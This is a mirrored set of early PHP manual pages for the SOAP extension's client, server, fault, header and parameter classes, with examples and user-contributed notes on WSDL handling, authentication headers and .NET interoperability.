I've not yet spotted trace doing anything particular, but exceptions is not just of interest for debugging as the docs suggest - it determines whether soap errors throw exceptions. The exceptions that it throws are of type SoapFault, which are documented elsewhere in these docs.
Jim Plush
12-Jul-2005 03:56
As of version 5.0.4 you can now dynamically change your location even if you're using a wsdl

<?php

$client = new SoapClient("http://some.host.net/wsdl/somefile.wsdl",array(
   "location" => 'myurl.com'));

?>

notice you can now use the "location" key.
This means you can have the same wsdl file not define a location until runtime which is great if you have a development test site or if you distribute your files to other companies.
Prior to this change you would have to ship a custom wsdl file to every client you had with their location hardcoded.
Brian Grayless
05-Mar-2005 06:30
Using a WSDL file is the way to go, however, for my particular application, the LOCATION:PORT needed to be dynamic so that my SOAP clients would be able to call a different service based on the client domain.

If you are using a WSDL, SoapClient() requires a URL direct to an actual URL and does not let you use a PHP file that outputs the dynamic WSDL XML in its stead. So, I ended up making a separate WSDL for each possible service needed and had to maintain them all if the service description changed.

Finally, after some fiddling, I was able to create a PHP page with the proper Mime type headers so that I could then trick SoapClient() to think that it was being passed a file with a ".wsdl" extension.

Example:

<?php

// filename: wsdl.php

header('Content-Type: application/xml; charset=UTF-8');
header('Content-Disposition: attachment; filename="filename.wsdl"');

$wsdl = 'path/wsdl_name.wsdl';

// read in file
$handle = fopen($wsdl, "r");
$wsdl_xml = fread($handle, filesize($wsdl));
fclose($handle);

// put code here to replace url and port in xml

echo $wsdl_xml;

?>

Now, in order to make this work, you can't just call a relative path to the file. I believe it has to go through Apache to properly set the mime type headers, etc... So you would use a full "http://....." address as the path to the wsdl.php file.

<?php

//... somewhere in your soap client code

$wsdl_loc = "http://yourdomain.com/wsdl.php";

$soap_client = new SoapClient($wsdl_loc, $client_param_array);

?>

Another, perhaps not so clean, way of achieving this would be to modify your .htaccess file in the directory where your WSDL file exists to force ".wsdl" files to run through the PHP engine. Add the following to your .htaccess:

AddType application/x-httpd-php .php .wsdl

You can then put dynamic PHP code snippets in your *.wsdl files to change whatever values you need to.

There are pros and cons to each solutions. The Mime solution probably taxes the system more as it has to read the file in every time a soap request is made. The htaccess solution makes it so you have to depend on either a modified .htaccess or Apache conf file.

Perhaps if you set the "soap.wsdl_cache_enabled", using ini_set(), to 1 (default), the caching will make it so it doesn't read the file every time for the Mime solution.
add a note add a note

后退 | 起点 | 前进
SoapClient->__call() | 上一级 | SoapClient->__doRequest()


SoapClient->__doRequest()

(no version information, might be only in CVS)

SoapClient->__doRequest() -- Performs a SOAP request

说明

class SoapClient {

string __doRequest ( string request, string location, string action, int version )

}

Performs SOAP request over HTTP.

This method can be overridden in subclasses to implement different transport layers, perform additional XML processing or other purpose.

参数

request

The XML SOAP request.

location

The URL to request.

action

The SOAP action.

action

The SOAP version.

返回值

The XML SOAP response.

范例

例子 1. Some examples

<?php
function Add($x,$y) {
  return $x+$y;
}

class LocalSoapClient extends SoapClient {

  function __construct($wsdl, $options) {
    parent::__construct($wsdl, $options);
    $this->server = new SoapServer($wsdl, $options);
    $this->server->addFunction('Add');
  }

  function __doRequest($request, $location, $action, $version) {
    ob_start();
    $this->server->handle($request);
    $response = ob_get_contents();
    ob_end_clean();
    return $response;
  }

}

$x = new LocalSoapClient(NULL,array('location'=>'test://',
                                   'uri'=>'http://testuri.org'));
var_dump($x->Add(3,4));
?>

add a note add a note User Contributed Notes
metator at netcabo dot pt
21-Oct-2005 07:32
You can use this method to correct the SOAP request before sending it, if necessary. You can use the DOM API to accomplish that.

<?php

public ExtendedClient extends SoapClient {

   function __construct($wsdl, $options = null) {
     parent::__construct($wsdl, $options);
   }

   function __doRequest($request, $location, $action, $version) {
     $dom = new DOMDocument('1.0');

     try {

         //loads the SOAP request to the Document
         $dom->loadXML($request);

     } catch (DOMException $e) {
         die('Parse error with code ' . $e->code);
     }

     //create a XPath object to query the request
     $path = new DOMXPath($dom);

     //search for a node
     $nodesToFix = $path->query('//SOAP-ENV:Envelope/SOAP-ENV:Body/path/to/node');

     //check if nodes are ok
     $this->checkNodes($path, $nodesToFix);

     //save the modified SOAP request
     $request = $dom->saveXML();

     //doRequest
     return parent::__doRequest($request, $location, $action, $version);
   }

   function checkNodes(DOMXPath $path, DOMNodeList $nodes) {
     //iterate through the node list
     for ($i = 0; $ < $nodes->length; $i++) {
         $aNode = $nodes->item($i);

         //just an example
         if ($node->nodeValue == null) {
           //do something. For instance, let's remove it.
           $node->parentNode->removeChild($node);
         }
     }
   }
}
?>

This gives the developer the chance to solve interoperability problems with a web service.
add a note add a note

后退 | 起点 | 前进
SoapClient->__construct() | 上一级 | SoapClient->__getFunctions()


SoapClient->__getFunctions()

(no version information, might be only in CVS)

SoapClient->__getFunctions() -- Returns list of SOAP functions

说明

class SoapClient {

array __getFunctions ( void )

}

Returns the list of SOAP functions.

注: This function works only in WSDL mode.

返回值

The list of SOAP functions.

范例

例子 1. SoapClient->__getFunctions() example

<?php
$client = SoapClient("some.wsdl");
var_dump($client->__getFunctions());
?>

参见

SoapClient->__construct()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapClient->__doRequest() | 上一级 | SoapClient->__getLastRequest()


SoapClient->__getLastRequest()

(no version information, might be only in CVS)

SoapClient->__getLastRequest() -- Returns last SOAP request

说明

class SoapClient {

string __getLastRequest ( void )

}

注: This method works only if the SoapClient object was created with the trace option.

返回值

The last SOAP request.

范例

例子 1. SoapClient->__getLastRequest() example

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "REQUEST:\n" . $client->__getLastRequest() . "\n";
?>

参见

SoapClient->__construct()
SoapClient->__getLastRequestHeaders()
SoapClient->__getLastResponse()
SoapClient->__getLastResponseHeaders()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapClient->__getFunctions() | 上一级 | SoapClient->__getLastRequestHeaders()


SoapClient->__getLastRequestHeaders()

(no version information, might be only in CVS)

SoapClient->__getLastRequestHeaders() -- Returns last SOAP request headers

说明

class SoapClient {

string __getLastRequestHeaders ( void )

}

注: This method works only if the SoapClient object was created with the trace option.

返回值

The last SOAP request headers.

参见

SoapClient->__construct()
SoapClient->__getLastRequest()
SoapClient->__getLastResponse()
SoapClient->__getLastResponseHeaders()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapClient->__getLastRequest() | 上一级 | SoapClient->__getLastResponse()


SoapClient->__getLastResponse()

(no version information, might be only in CVS)

SoapClient->__getLastResponse() -- Returns last SOAP response.

说明

class SoapClient {

string __getLastResponse ( void )

}

注: This method works only if the SoapClient object was created with the trace option.

返回值

The last SOAP response.

范例

例子 1. SoapClient->__getLastResponse() example

<?php
$client = SoapClient("some.wsdl", array('trace' => 1));
$result = $client->SomeFunction();
echo "RESPONSE:\n" . $client->__getLastResponse() . "\n";
?>

参见

SoapClient->__construct()
SoapClient->__getLastResponseHeaders()
SoapClient->__getLastRequest()
SoapClient->__getLastRequestHeaders()

add a note add a note User Contributed Notes
ceo at l-i-e dot com
05-Jan-2006 05:31
D'oh!
That example needs:
$soapClient = new SoapClient($url, array('trace'=>1));
to turn ON tracing in the first place.
ceo at l-i-e dot com
05-Jan-2006 05:30
You almost for sure will need to wrap a try/catch block around your SOAP call in order to use these to debug something that's not working.

Otherwise, PHP throws a fatal error before you can execute this function.

For example:
<?php
   $soapClient = new SoapClient($url);
   echo htmlentities($soapClient->__getFunctions());
   //Assume that has output 'someFunction' (among others)
   try {
       $results = $soapClient->someFunction(...);
   }
   catch (SoapFault $soapFault) {
       var_dump($soapFault);
       echo "Request :<br>", htmlentities($soapClient->__getLastRequest()), "<br>";
       echo "Response :<br>", htmlentities($soapClient->__getLastResponse()), "<br>";
   }
?>

Without try/catch, your just get the Fatal Error and PHP commits suicide before you can call __getLastRequest/__getLastResponse
add a note add a note

后退 | 起点 | 前进
SoapClient->__getLastRequestHeaders() | 上一级 | SoapClient->__getLastResponseHeaders()


SoapClient->__getLastResponseHeaders()

(no version information, might be only in CVS)

SoapClient->__getLastResponseHeaders() -- Returns last SOAP response headers.

说明

class SoapClient {

string __getLastResponseHeaders ( void )

}

注: This method works only if the SoapClient object was created with the trace option.

返回值

The last SOAP response headers.

参见

SoapClient->__construct()
SoapClient->__getLastResponse()
SoapClient->__getLastRequest()
SoapClient->__getLastRequestHeaders()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapClient->__getLastResponse() | 上一级 | SoapClient->__getTypes()


SoapClient->__getTypes()

(no version information, might be only in CVS)

SoapClient->__getTypes() -- Returns list of SOAP types

说明

class SoapClient {

array __getTypes ( void )

}

This function works only in WSDL mode.

返回值

The list of SOAP types.

范例

例子 1. SoapClient->__getTypes() example

<?php
$client = new SoapClient("some.wsdl");
var_dump($client->__getTypes());
?>

参见

SoapClient->__construct()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapClient->__getLastResponseHeaders() | 上一级 | SoapClient->__setCookie()


SoapClient->__setCookie()

(no version information, might be only in CVS)

SoapClient->__setCookie() -- Sets the cookie that will be sent with the SOAP request

说明

class SoapClient {

void __setCookie ( string name [, string value] )

}

Defines a cookie to be sent along with the SOAP requests.

注: Calling this method will affect all following calls to SoapClient methods.

参数

name

The name of the cookie.

value

The value of the cookie. If not specified, the cookie will be deleted.

返回值

无返回值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapClient->__getTypes() | 上一级 | SoapClient->__soapCall()


SoapClient->__soapCall()

(no version information, might be only in CVS)

SoapClient->__soapCall() -- Calls a SOAP function

说明

class SoapClient {

mixed __soapCall ( string function_name [, array arguments [, array options [, mixed input_headers [, array &output_headers]]]] )

}

This is a low level API function that is used to make a SOAP call. Usually, in WSDL mode, you can simply call SOAP functions as SoapClient methods. This method useful in non-WSDL mode when soapaction is unknown, uri differs from the default or when sending and/or receiving SOAP Headers.

On error, a call to a SOAP function can cause PHP to throw exceptions or return a SoapFault object if exceptions are disabled. To check if the function call failed to catch the SoapFault exceptions, check the result with is_soap_fault().

返回值

SOAP functions may return one, or multiple values. If only one value is returned by the SOAP function, the return value of __soapCall will be a simple value (e.g. an integer, a string, etc). If multiple values are returned, __soapCall will return an associative array of named output parameters.

范例

例子 1. SoapClient->__soapCall() Examples

<?php

$client = new SoapClient("some.wsdl");
$client->SomeFunction($a, $b, $c);

$client->__soapCall("SomeFunction", array($a, $b, $c));
$client->__soapCall("SomeFunction", array($a, $b, $c), NULL,
                    new SoapHeader(), $output_headers);

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));
$client->SomeFunction($a, $b, $c);
$client->__soapCall("SomeFunction", array($a, $b, $c));
$client->__soapCall("SomeFunction", array($a, $b, $c),
                    array('soapaction' => 'some_action',
                          'uri'        => 'some_uri'));
?>

参见

SoapClient->__construct()
SoapParam->__construct()
SoapVar->__construct()
SoapHeader->__construct()
SoapFault->__construct()
is_soap_fault()

add a note add a note User Contributed Notes
paulsjv at gmail dot com
11-Jan-2006 11:44
I was working with SOAP for the first time and I had to create a client that sent a date range to a WSDL (Web Services Description Language) to return some information I needed.  I didn't know how to pass the params and there really was no documentation about it.  The main thing you have to make sure to do is when you pass params to a method that is definied by the WSDL that you are calling is that you use the same param name for the key of the array or the object variable as shown below.  Also, if you don't know what the methods/functions that a WSDL has or the params that you need to pass it you can use the __getFunctions() and __getTypes() methods after you declare your new SoapClient.

<?php
// From and to are the two params that the execute function needs
// when called from the WSDL so make you to have them as the
// key to an array like below
$params["From"] = "06/01/2005"; // also can use $params->From = "date";
$params["to"] = "12/31/2005"; // also can use $params->to = "date";

$client = new SoapClient("some.wsdl");

try {
       print($client->execute($params));
} catch (SoapFault $exception) {
       echo $exception;
}
?>
ryan at grunt dot tv
22-Sep-2005 12:38
If you want to pass an xml document node as a function parameter, your need to create a SoapVar object with a text represention of the xml node and the XSD_ANYXML encoding constant. However, this constant is not exported by the extension and is not documented for some unknown reason.

Therefore, to get this to work you must either register the XSD_ANYXML #define as a PHP constant, or use the integer value of the constant when creating the SoapVar, which is 147.

$soapvar = new SoapVar($xml_text, 147);

$params = array("ItemXml" => $soapvar, "PropertyView" => "blah");
$result = $this->soapclient->__soapCall("SaveItem", array("parameters"=>$params), null, $this->soapheaders);

However, this still doesnt give the correct result. For some reason, the ItemXml parameter node is not wrapped around the associated xml parameter in the soap request, and the following soap is produced (assumming '<item>blah</item>' is used as the $xml_text):

<SOAP-ENV:Envelope xmlns:SOAP-ENV="..." xmlns:ns1="...">
<SOAP-ENV:Header>...</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:SaveItem>
<item>blah</item>
<ns1:PropertyView>blah</ns1:PropertyView>
</ns1:SaveItem>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
DesmondJ
05-May-2005 06:36
Following OrionI's example:

<?php
 $client = new SoapClient("http://server/sumservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Sum($params);
 $simpleresult = $objectresult->SumResult;
 print($simpleresult); //produces "-1"
?>

Please note that the lines:

"$client->Sum($params);"

and

"$simpleresult = $objectresult->SumResult;"

are based off of each other. If your web service function is called "Sum", then add "Result" to the end of it to get the results of the call.

EG:

<?php
 $client = new SoapClient("http://server/mathservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Minus($params); // note the name of the function is "Minus"
 $simpleresult = $objectresult->MinusResult; // note the name of the result is referenced as "MinusResult"
 print($simpleresult); //produces "5"
?>
OrionI
18-Apr-2005 10:27
Correction on the previously submitted code snippet...the incoming parameter for .NET also has to be in object or array form for it to be correctly converted to the XML form that .NET expects (as already mentioned by Llu?s P?mies). The full example (when using WSDL) should be like this:
<?php
 $client = new SoapClient("http://server/myservice.asmx?WSDL");
 $params->param1 = $value1;
 $params->param2 = $value2;
 $objectresult = $client->MyMethod($params);
 $simpleresult = $objectresult->MyMethodResult;
?>
So if you have a C# function like this:
//sumservice.asmx
...
[WebMethod]
public int Sum(int a, int b)
{
  return a + b;
}
...
The PHP client would be this:
<?php
 $client = new SoapClient("http://server/sumservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Sum($params);
 $simpleresult = $objectresult->SumResult;
 print($simpleresult); //produces "5"
?>
OrionI
16-Apr-2005 02:46
When calling over SOAP to a .NET application, you may end up with an object as a result instead of a simple type, even if you're just grabbing a simple type (like a boolean result). Use a property accessor to get the actual result, like this:
<?php
 $client = new SoapClient("http://server/myservice.asmx?WSDL");
 $objectresult = $client->MyMethod($param1, $param2);
 $simpleresult = $objectresult->MyMethodResult;
?>
Note that .NET seems to name the result MethodNameResult for method MethodName.
Llus Pmies
18-Feb-2005 07:19
If your service is a .NET doc/lit, which means the input message has a single part named 'parameters' that is a structure that wraps the parameters.  Your call should look like this:

<?php

$params = array('param_name_1'=>$val_1,'param_name_2'=>$val_2);
$client->call('MethodName', array('parameters' => $params));

?>
add a note add a note

后退 | 起点 | 前进
SoapClient->__setCookie() | 上一级 | SoapFault->__construct()


SoapFault->__construct()

(no version information, might be only in CVS)

SoapFault->__construct() -- SoapFault constructor

说明

class SoapFault {

__construct ( string faultcode, string faultstring [, string faultactor [, mixed detail [, string faultname [, SoapHeader headerfault]]]] )

}

This class is useful when you would like to send SOAP fault responses from the PHP handler. faultcode, faultstring, faultactor and details are standard elements of SOAP Fault;

参数

faultcode

The error code of the SoapFault.

faultstring

The error message of the SoapFault.

faultactor

A string identifying the actor that caused the error.

detail

faultname

Can be used to select the proper fault encoding from WSDL.

headerfault

Can be used during SOAP header handling to report an error in the response header.

范例

例子 1. Some examples

<?php
function test($x)
{
    return new SoapFault("Server", "Some error message");
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

It is possible to use PHP exception mechanism to throw SOAP Fault.

例子 2. Some examples

<?php
function test($x)
{
    throw new SoapFault("Server", "Some error message");
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

参见

SoapClient->__construct()
SoapClient->__soapCall()
SoapVar->__construct()
SoapParam->__construct()
SoapFault->__construct()
is_soap_fault()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapClient->__soapCall() | 上一级 | SoapHeader->__construct()


SoapHeader->__construct()

(no version information, might be only in CVS)

SoapHeader->__construct() -- SoapHeader constructor

说明

class SoapHeader {

__construct ( string namespace, string name [, mixed data [, bool mustUnderstand [, mixed actor]]] )

}

Constructs a new SoapHeader object.

参数

namespace

The namespace of the SOAP header element.

name

The name of the SOAP header element.

data

A SOAP header's content. It can be a PHP value or a SoapVar object.

mustUnderstand

Value of the mustUnderstand attribute of the SOAP header element.

actor

Value of the actor attribute of the SOAP header element.

范例

例子 1. Some examples

<?php
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));
$client->__call("echoVoid", null, null,
                new SoapHeader('http://soapinterop.org/echoheader/',
                               'echoMeStringRequest',
                               'hello world'));
?>

参见

SoapClient->__soapCall()
SoapVar->__construct()
SoapParam->__construct()

add a note add a note User Contributed Notes
harlan at plauditdesign dot com
16-Mar-2006 03:04
Here is a way to get headers on the server side. It will fill up an assoc with all headers in a namespace. In its current state, it only handles text content; but each header is expanded to a DOMNode, so you can do whatever you wish to parse custom types.

In my case this method is useful because I want to pass PHPSESSID in a SOAP header, and I need to set it before I even call SoapServer::handle().

//
// READ SOAP HEADERS, STOP READING AT SOAPENV:BODY ELEMENT
//
$xml = new XmlReader();
$xml->XML( $HTTP_RAW_POST_DATA );

$shoppingCartHeaders = array();
while( $xml->read() ) {
   if( $xml->namespaceURI == "urn:com.plauditdesign.shoppingcart.client.headers#"
       && $xml->nodeType == XMLReader::ELEMENT ) {

       $headerNode = $xml->expand();
       $shoppingCartHeaders[ $xml->localName ] = $headerNode->textContent;
   } elseif( $xml->namespaceURI == "http://schemas.xmlsoap.org/soap/envelope/"
       && $xml->nodeType == XMLReader::ELEMENT
       && $xml->localName == "Body" ) {

       $xml->close();
   }
}

...

if( isset( $shoppingCartHeaders["sessionId"] ) ) {
   session_id( $shoppingCartHeaders["sessionId"] );
}

...

$server->setPersistence( SOAP_PERSISTENCE_SESSION );
$server->handle();
jared DOT kuolt at gmail dot com
29-Oct-2005 12:57
To build the authentication headers like below FOR WSDL:

**NOTE** I cannot find documentation on the __setSoapHeaders() method, though it does work in 5.0.4

<?php

class MySoapClass
{

   function __construct(){
       // Blah blah blah
       $this->soap = new SoapClient($this->foo, $this->bar);

   }

   // Build that header!
   private function build_auth_header(){
       // Build an object with parameters
       $auth->username = $this->username;
       $auth->password = $this->password;

       $authvalues = new SoapVar($auth, SOAP_ENC_OBJECT);
       $header =  new SoapHeader($this->name_space, "Authentication", // Rename this to the tag you need
                                                         $authvalues, false);

       $this->soap->__setSoapHeaders(array($header));

   }

   // Wrapper so we can build auth header first
   public function MySoapFunction($params){

       $this->build_auth_header();
       $this->soap->MySoapFunction($params);

   }

}
?>
mobi at delfnet dot pl
01-Jun-2005 03:24
In botoom code is bug.

is:

// create authentication header values
$authvalues=new SoapVar($auth,SOAP_ENC_OBJECT,'authenticate');

should be:

// create authentication header values
$authvalues=new SoapVar($auth,SOAP_ENC_OBJECT);
clewis at myfonts dot com
10-Feb-2005 12:52
If you are using WSDL to define your SOAP Headers, note that PHP's SoapServer class will not process incoming headers unless the <message> and <part> names are identical for the header methods.

Define a SOAP header function like this in WSDL:

<!-- replace "tns:" with your own namespace abbreviation -->

<!-- define method arguments using a complexType -->
<xsd:complexType name="HeaderMethodArgs">
   <xsd:all>
       <xsd:element ... name="arg1"/>
       <xsd:element ... name="arg2"/>
   </xsd:all>
</xsd:complexType>

<!-- define method message with single part -->
<message name='headerMethodName'>
   <part name='headerMethodName' type='tns:HeaderMethodArgs'/>
</message>

<!-- add header tag to operations that use this header -->
<operation name='someBodyMethod'>
   ...
   <input>
       <soap:body .../>
       <soap:header
           ...
           message='tns:headerMethodName'
           part='headerMethodName'
       />
   </input>
   <output>...</output>
</operation>
php dot net at sowen dot de
18-Jan-2005 07:02
If you are trying to create a header like this:

<SOAP-ENV:Header>
<ns2:authenticate SOAP-ENV:actor="http://schemas.xmlsoap.org/soap/actor/next">
<username>myuser</username>
<password>secret</password>
</ns2:authenticate>
</SOAP-ENV:Header>

Try to use a class to create Header-vars:

class authentication_header {
  private $username;
  private $password;
  public function __construct($username,$password) {
     $this->username=$username;
     $this->password=$password;
  }
}

In your soap client program:

// generate new object
$auth=new authentication_header('myuser','secret');
// create authentication header values
$authvalues=new SoapVar($auth,SOAP_ENC_OBJECT,'authenticate');
// generate header
$header=new SoapHeader("myURN",
                           "authenticate",
                           $authvalues,
                           false,
                           "http://schemas.xmlsoap.org/soap/actor/next");

And do the request like this (non-WSDL version):

$client->__call('function', $params, null, $header);

Have fun,
Nils Sowen
add a note add a note

后退 | 起点 | 前进
SoapFault->__construct() | 上一级 | SoapParam->__construct()


SoapParam->__construct()

(no version information, might be only in CVS)

SoapParam->__construct() -- SoapParam constructor

说明

class SoapParam {

__construct ( mixed data, string name )

}

Constructs a new SoapParam object.

参数

data

The data to pass or return. You can pass this parameter directly as PHP value, but in this case it will be named as paramN and the SOAP Service may not understand it.

name

The parameter name.

范例

例子 1. Some examples

<?php
$client = new SoapClient(null,array('location' => "http://localhost/soap.php",
                                    'uri'      => "http://test-uri/"));
$client->SomeFunction(new SoapParam($a, "a"),
                      new SoapParam($b, "b"),
                      new SoapParam($c, "c"));
?>

参见

SoapClient->__soapCall()
SoapVar->__construct()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapHeader->__construct() | 上一级 | SoapServer->addFunction()


SoapServer->addFunction()

(no version information, might be only in CVS)

SoapServer->addFunction() -- Adds one or several functions those will handle SOAP requests

说明

class SoapServer {

void addFunction ( mixed functions )

}

Exports one or more functions for remote clients.

参数

functions

To export one function, pass the function name into this parameter as a string.

To export several functions, pass an array of function names.

To export all the functions, pass a special constant SOAP_FUNCTIONS_ALL.

注: functions must receive all input arguments in the same order as defined in the WSDL file (They should not receive any output parameters as arguments) and return one or more values. To return several values they must return an array with named output parameters.

返回值

无返回值。

范例

例子 1. Some examples

<?php

function echoString($inputString)
{
    return $inputString;
}

$server->addFunction("echoString");

function echoTwoStrings($inputString1, $inputString2)
{
    return array("outputString1" => $inputString1,
                 "outputString2" => $inputString2);
}
$server->addFunction(array("echoString", "echoTwoStrings"));

$server->addFunction(SOAP_FUNCTIONS_ALL);

?>

参见

SoapServer->__construct()
SoapServer->setClass()

add a note add a note User Contributed Notes
16-Jun-2005 08:10
function Login($username, $password)
{
  return array("LoginResult" => array("Id"=>1, "Name"=>"Nathan", "Nickname"=>"Nathan", "Email"=>"email address") );
}

Ok, Only a litte error in the last note.. :
"LoginResult" => array    and NOT      "LoginResult" , array
Nathan O'Sullivan
29-Apr-2005 02:36
You may be left wondering, as I was, how to return a complex type - consider the following WSDL snippets, for a method called Login:

 <xs:element name="Login">
       <xs:complexType>
         <xs:sequence>
           <xs:element minOccurs="0" maxOccurs="1" name="username" type="xs:string" />
           <xs:element minOccurs="0" maxOccurs="1" name="password" type="xs:string" />
         </xs:sequence>
       </xs:complexType>
     </xs:element>

   <xs:complexType name="UserInfo">
       <xs:sequence>
         <xs:element minOccurs="0" maxOccurs="1" name="Id" type="xs:string" />
         <xs:element minOccurs="0" maxOccurs="1" name="Name" type="xs:string" />
         <xs:element minOccurs="0" maxOccurs="1" name="Nickname" type="xs:string" />
         <xs:element minOccurs="0" maxOccurs="1" name="Email" type="xs:string" />
       </xs:sequence>
     </xs:complexType>

   <xs:element name="LoginResponse">
       <xs:complexType>
         <xs:sequence>
           <xs:element minOccurs="0" maxOccurs="1" name="LoginResult" type="s0:UserInfo" />
         </xs:sequence>
       </xs:complexType>
     </xs:element>

Here's a working Login function  that I've added with add SoapServer::addFunction

function Login($username, $password)
{
  return array("LoginResult", array("Id"=>1, "Name"=>"Nathan", "Nickname"=>"Nathan", "Email"=>"email address") );
}

The UserInfo complextype is represented by the inner array.  The outer array has just one element, "LoginResult".  The LogineResponse element  seems to be treated as a one-member array by PHP.
add a note add a note

后退 | 起点 | 前进
SoapParam->__construct() | 上一级 | SoapServer->__construct()


SoapServer->__construct()

(no version information, might be only in CVS)

SoapServer->__construct() -- SoapServer constructor

说明

class SoapServer {

__construct ( mixed wsdl [, array options] )

}

This constructor allows the creation of SoapServer objects in WSDL or non-WSDL mode.

参数

wsdl

If you want the WSDL mode, you must set this to the URI of a WSDL file. In the other case, you must set this to NULL and set the uri option.

options

Allow setting a default SOAP version (soap_version), internal character encoding (encoding), and actor URI (actor). The classmap option can be used to map some WSDL types to PHP classes. This option must be an array with WSDL types as keys and names of PHP classes as values.

范例

例子 1. Some examples

<?php

$server = new SoapServer("some.wsdl");

$server = new SoapServer("some.wsdl", array('soap_version' => SOAP_1_2));

$server = new SoapServer("some.wsdl", array('actor' => "http://example.org/ts-tests/C"));

$server = new SoapServer("some.wsdl", array('encoding'=>'ISO-8859-1'));

$server = new SoapServer(null, array('uri' => "http://test-uri/"));

class MyBook {
    public $title;
    public $author;
}

$server = new SoapServer("books.wsdl", array('classmap' => array('book' => "MyBook")));

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapServer->addFunction() | 上一级 | SoapServer->fault()


SoapServer->fault()

(no version information, might be only in CVS)

SoapServer->fault() -- Issue SoapServer fault indicating an error

说明

class SoapServer {

void fault ( string code, string string [, string actor [, mixed details [, string name]]] )

}

警告

本函数暂无文档，仅有参数列表。

参见

SoapFault->__construct()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapServer->__construct() | 上一级 | SoapServer->getFunctions()


SoapServer->getFunctions()

(no version information, might be only in CVS)

SoapServer->getFunctions() -- Returns list of defined functions

说明

class SoapServer {

array getFunctions ( void )

}

This method returns the list of all functions added by SoapServer->addFunction() or SoapServer->setClass().

返回值

The list of all functions.

范例

例子 1. Some examples

<?php
$server = new SoapServer(NULL, array("uri" => "http://test-uri"));
$server->addFunction(SOAP_FUNCTIONS_ALL);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $server->handle();
} else {
  echo "This SOAP server can handle following functions: ";
  $functions = $server->getFunctions();
  foreach($functions as $func) {
    echo $func . "\n";
  }
}
?>

参见

SoapServer->__construct()
SoapServer->addFunction()
SoapServer->setClass()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapServer->fault() | 上一级 | SoapServer->handle()


SoapServer->handle()

(no version information, might be only in CVS)

SoapServer->handle() -- Handles a SOAP request

说明

class SoapServer {

void handle ( [string soap_request] )

}

Processes a SOAP request, calls necessary functions, and sends a response back.

参数

soap_request

The SOAP request. If this argument is omitted, the request is supposed to be in the $HTTP_RAW_POST_DATA PHP variable.

返回值

无返回值。

范例

例子 1. Some examples

<?php
function test($x)
{
    return $x;
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

参见

SoapServer->__construct()

add a note add a note User Contributed Notes
ceo at l-i-e dot com
16-Mar-2006 06:55
In PHP5, there seem to be times when handle() doesn't "work" and complains of an Invalid Request.

This may (or may not) be only if you are using WSDL...

The root cause would seem to be that handle() expects to find the SOAP Request XML data in $HTTP_RAW_POST_DATA

However, even turning "on" always_populate_raw_post_data does not seem to fill in that variable.

Thus, you need to do like this, to snag the data from stdin and shove it into the variable handle() expects:

   if (!isset($HTTP_RAW_POST_DATA)){
       $HTTP_RAW_POST_DATA = file_get_contents('php://input');
   }

YMMV
add a note add a note

后退 | 起点 | 前进
SoapServer->getFunctions() | 上一级 | SoapServer->setClass()


SoapServer->setClass()

(no version information, might be only in CVS)

SoapServer->setClass() -- Sets class which will handle SOAP requests

说明

class SoapServer {

void setClass ( string class_name [, mixed args [, mixed ...]] )

}

Exports all methods from specified class.

The object can be made persistent across request for a given PHP session with the SoapServer->setPersistence() method.

参数

class_name

The name of the exported class.

args

These optional parameters will be passed to the default class constructor during object creation.

返回值

无返回值。

范例

例子 1. Some examples

<?php

class foo {
    function foo()
    {
    }
}
$server->setClass("foo");

class bar {
    function bar($x, $y)
    {
    }
}
$server->setClass("bar", $arg1, $arg2);

?>

参见

SoapServer->__construct()
SoapServer->addFunction()
SoapServer->setPersistence()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SoapServer->handle() | 上一级 | SoapServer->setPersistence()


SoapServer->setPersistence()

(no version information, might be only in CVS)

SoapServer->setPersistence() -- Sets persistence mode of SoapServer

说明

class SoapServer {

void setPersistence ( int mode )

}

This function allows saving data between requests in a PHP session. It works only with a server that exports functions from a class with SoapServer->setClass().

参数

mode

One of the SOAP_PERSISTENCE_XXX constants.

返回值

无返回值。

范例

例子 1. Some examples

<?php

$server->setPersistence(SOAP_PERSISTENCE_SESSION);

$server->setPersistence(SOAP_PERSISTENCE_REQUEST);

?>

参见

SoapServer->__construct()
SoapServer->setClass()

add a note add a note User Contributed Notes
jared at ws-db dot com
29-Aug-2005 03:07
I had some issues getting session persistence (SOAP_PERSISTENCE_SESSION) to work. I finally got it working after setting session.auto_start=0, and then only calling session_start() in the script containing the SoapServer. Maybe this is obvious, but took me a bit to figure it out.

I only tried it with session.use_cookies=1, so if the settings above don't work for you, make sure cookies are enabled, though it may work without the need for cookies.
cperez1000 at hotmail dot com
29-May-2005 11:54
Always remember to place the "setPersistence" method before the handle method, otherwise it won't work.  It sounds obvious, but it's still a very common mistake, since no errors are shown.
add a note add a note

